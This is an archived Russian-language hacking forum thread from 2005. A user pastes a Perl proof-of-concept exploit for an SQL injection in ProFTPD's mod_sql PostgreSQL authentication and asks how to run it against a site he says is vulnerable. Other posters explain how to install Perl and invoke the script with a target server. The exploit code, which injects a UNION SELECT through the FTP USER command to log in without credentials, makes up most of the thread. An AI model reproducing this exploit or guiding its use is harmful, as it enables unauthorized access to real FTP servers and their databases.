Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   sql в ProFTPD (https://forum.antichat.xyz/showthread.php?t=6033)

Майор 13.04.2005 20:26

sql в ProFTPD
 
Есть на одном сайте такая уязвимость :
SQL-инъекция в модуле mod_sql Pro_FTPD сервера. Во время аутентификации к серверу баз данных PostregSQL mod_sql_postreg некорректно обрабатывает escape строки, что позволяет удаленному атакующему в качестве имени пользователя использовать SQL запрос и получить неавторизованный доступ к базе данных на сервере.

Эксплойт написан на perle, в котором я вообще не рублю :( ........ Подскажите как его юзать ? или если кто в курсе мож как-нибудь в ручную дыру можно юзать ?
Код:

#!/usr/bin/perl
# Sql inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@raregazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;


qBiN 13.04.2005 22:38

Ставь актив перл для винды и юзай,если линукс то там ставь прото перл,если конечно его нет(вроде во всех по умалчанию есть)

Майор 14.04.2005 00:50

его обязательно на апач надо ставить ?

PinkPanther 14.04.2005 01:41

Цитата:

Сообщение от Майор
его обязательно на апач надо ставить ?

Нет конечно. Просто устанавливай ActivePerl, а потом в командной строке набирай, к примеру: H:\my sploits\sploit.pl [параметр] , или если perl не в авто загрузке, то пиши в cmd:
C:\perl\bin\perl.exe H:\my sploits\sploit.pl [параметр]

Майор 18.04.2005 01:44

Цитата:

1.pl
Bareword found where operator expected at - line 1, near "1.pl"
(Missing operator before pl?)
вот такую ошибку выдаёт...
чё ему нехватает ?

PinkPanther 18.04.2005 17:20

Цитата:

Сообщение от Майор
вот такую ошибку выдаёт...
чё ему нехватает ?

хз, я запускал у себя твой сплойт, всё работает............хз

Майор 18.04.2005 17:27

........
а что ему в качестве парамтра передавать ?

SladerNon 18.04.2005 17:33

Майор

Может разные версии ActivePerl у тебя и PinkPanter ?

Майор 20.04.2005 00:37

Скомпилировал с горем пополам :)
но возникла проблема с передачей адреса сервера, как же это зделать ? что ему вообще надо, только ип?

в Си переменной ARGC можно можно передовать значения так : C:\perl\exployt.exe parametr
но в perl так что то неработает...

nerezus 20.04.2005 06:38

Цитата:

Скомпилировал с горем пополам
Как же это ты так смог? =)
юзай так:
perl script.pl server query


Время: 18:51